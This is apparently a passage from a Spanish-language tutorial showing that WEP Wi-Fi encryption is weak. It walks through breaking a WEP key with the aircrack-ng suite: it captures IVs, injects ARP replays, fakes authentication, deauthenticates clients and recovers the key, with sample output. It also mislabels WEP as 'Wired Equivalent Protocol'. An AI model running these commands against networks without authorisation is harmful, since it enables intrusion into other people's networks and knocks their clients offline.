WEP (Wired Equivalent Protocol):
Este metodo se basa en la encriptación del trafico entre el cliente y el AP, en el caso de que los paquetes no llegen encriptados correctamente el AP los ignora. Este utiliza RC4 como algoritmo de encriptación y puede usar keys de 64(40 + 24 del IV) y 128(104 + 24 del IV) bits.


En este caso se puede elegir entre 2 tipos de ataques. Por un lado podemos hacer un Brute Force Attaks o Dictionary Attacks y por el otro podemos hacer Statistical Attacks.
Vamos a elegir el segundo, por que un Brute Force Attack o Dictionary Attack podria llegar a tardar mucho tiempo.
Basicamente el Statiscital Attack utiliza los IVs (initialization vectors) de cada paquete. La explicación de este ataque es compleja y no va a ser explicada dentro de este documento.
Para aplicar este ataque vamos a utilizar la herramienta aircrack-ng.
Como primer paso vamos a poner la interfaz en modo monitor, podemos hacerlo con airmon-ng o con iwconfig.
# airmon-ng start eth1
Interface Chipset Driver
eth1 ZyDAS zd1211rw (monitor mode enabled)
# # tambien podemos hacerlo con iwconfig
# iwconfig eth1 mode Monitor
Ahora necesitamos recolectar aproximadamente 250.000 en el caso de que la key sea de 64 bits y 500.000 en el caso de que la key sea de 128 bits.
Estos números son los recomendados, pero hay que tener en cuenta que no son exactos, he visto casos satisfactorios con 15.000 paquetes para la key de 64bits.
Ejecutamos airodump-ng con los datos necesarios(BSSID, Channel y ESSID), estos los podemos conseguir con Kismet u otro sniffer. Para conseguirlos ejecutamos Kismet y una vez seleccionada el AP apretamos la "i".

Una vez logrado esto ejecutamos airodump-ng para recolectar los paquetes.
# # airodump-ng --ivs -w <output-file> -b <BSSID> --channel <channel> eth1
# airodump-ng --ivs -w Wireless -b 00:00:00:6E:72:6D --channel 6 eth1
Un ejemplo de lo que podria ser el output.
CH 6 ][ Elapsed: 4 s ][ 2008-07-26 10:47
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:00:00:6E:72:6D 11 16 30 3 0 6 54. WEP WEP Wireless
BSSID STATION PWR Lost Packets Probes
00:00:00:6E:72:6D 00:69:00:11:22:33 51 2 3
El tiempo necesario para lograr la cantidad de paquetes depende directamente de la cantidad de clientes conectados y el trafico que estos generen.
En general vamos a utilizar aireplay-ng para generar el trafico injectando paquetes.
Si se da el caso en que haya pocos clientes o estos no generen trafico, vamos a utilizar aireplay-ng y generar el trafico necesario para poder accelerar el proceso de recoleción de paquetes.
En este ejemplo usamos aireplay-ng para que injecte ARP requests y asi generar el trafico. Al correr aireplay-ng este va a tomar un ARP request legitimo generado por un cliente y lo va a injectar en la red para generar el trafico necesario. La MAC Address utilizada puede ser la de un cliente legitimo o una falsa.
# # aireplay-ng -3 -b <BSSID> -h <MAC Address> eth1
# aireplay-ng -3 -b 00:00:00:6E:72:6D -h 00:69:00:11:22:33 eth1
En el caso de que no haya clientes debemos associarnos al AP con la MAC address que estamos intentando injectar, por lo tanto vamos a hacer una falsa autenticación.
# # aireplay-ng -1 0 -e <SSID> -a <BSSID> -h <MAC Address> eth1
# aireplay-ng -1 0 -e Wireless -a 00:00:00:6E:72:6D -h 00:69:00:11:22:33 eth1
En el caso de que haya clientes tambien podriamos hacer un ataque de Deautenticación y asi obtener ARP request.
# # aireplay-ng -0 1 -a <BSSID> -c <Client MAC Address> ath0
# aireplay-ng -0 1 -a 00:00:00:6E:72:6D -c 00:69:00:11:22:33 ath0
Aca podemos ver un screenshot de lo anterior.

Una vez logrado el volumen de paquetes encriptados(#Data en airodump-ng) necesarios segun el tamaño de la key, pasamos a ejecutar aircrack-ng.
# # aircrack-ng -b <BSSID> <input-files>
# aircrack-ng -b 00:00:00:6E:72:6D Wireless*.ivs
Aircrack-ng 1.0 beta 1
[00:00:10] Tested 77 keys (got 504002 IVs)
KB depth byte(vote)
0 0/ 1 AE( 199) 29( 27) 2D( 13) 7C( 12) FE( 12) FF( 6) 39( 5) 2C( 3) 00( 0) 08( 0)
1 0/ 3 66( 41) F1( 33) 4C( 23) 00( 19) 9F( 19) C7( 18) 64( 9) 7A( 9) 7B( 9) F6( 9)
2 0/ 2 5C( 89) 52( 60) E3( 22) 10( 20) F3( 18) 8B( 15) 8E( 15) 14( 13) D2( 11) 47( 10)
3 0/ 1 FD( 375) 81( 40) 1D( 26) 99( 26) D2( 23) 33( 20) 2C( 19) 05( 17) 0B( 17) 35( 17)
4 0/ 2 24( 130) 87( 110) 7B( 32) 4F( 25) D7( 20) F4( 18) 17( 15) 8A( 15) CE( 15) E1( 15)
5 0/ 1 E3( 222) 4F( 46) 40( 45) 7F( 28) DB( 27) E0( 27) 5B( 25) 71( 25) 8A( 25) 65( 23)
6 0/ 1 92( 208) 63( 58) 54( 51) 64( 35) 51( 26) 53( 25) 75( 20) 0E( 18) 7D( 18) D9( 18)
7 0/ 1 A9( 220) B8( 51) 4B( 41) 1B( 39) 3B( 23) 9B( 23) FA( 23) 63( 22) 2D( 19) 1A( 17)
8 0/ 1 14(1106) C1( 118) 04( 41) 13( 30) 43( 28) 99( 25) 79( 20) B1( 17) 86( 15) 97( 15)
9 0/ 1 39( 540) 08( 95) E4( 87) E2( 79) E5( 59) 0A( 44) CC( 35) 02( 32) C7( 31) 6C( 30)
10 0/ 1 D4( 372) 9E( 68) A0( 64) 9F( 55) DB( 51) 38( 40) 9D( 40) 52( 39) A1( 38) 54( 36)
11 0/ 1 27( 334) BC( 58) F1( 44) BE( 42) 79( 39) 3B( 37) E1( 34) E2( 34) 31( 33) BF( 33)
KEY FOUND! [ 24:2D:28:A7:7C:C2:4D:B6:C2:2C:B0:A0:E2 ]
En conclusión este metodo tampoco nos es util.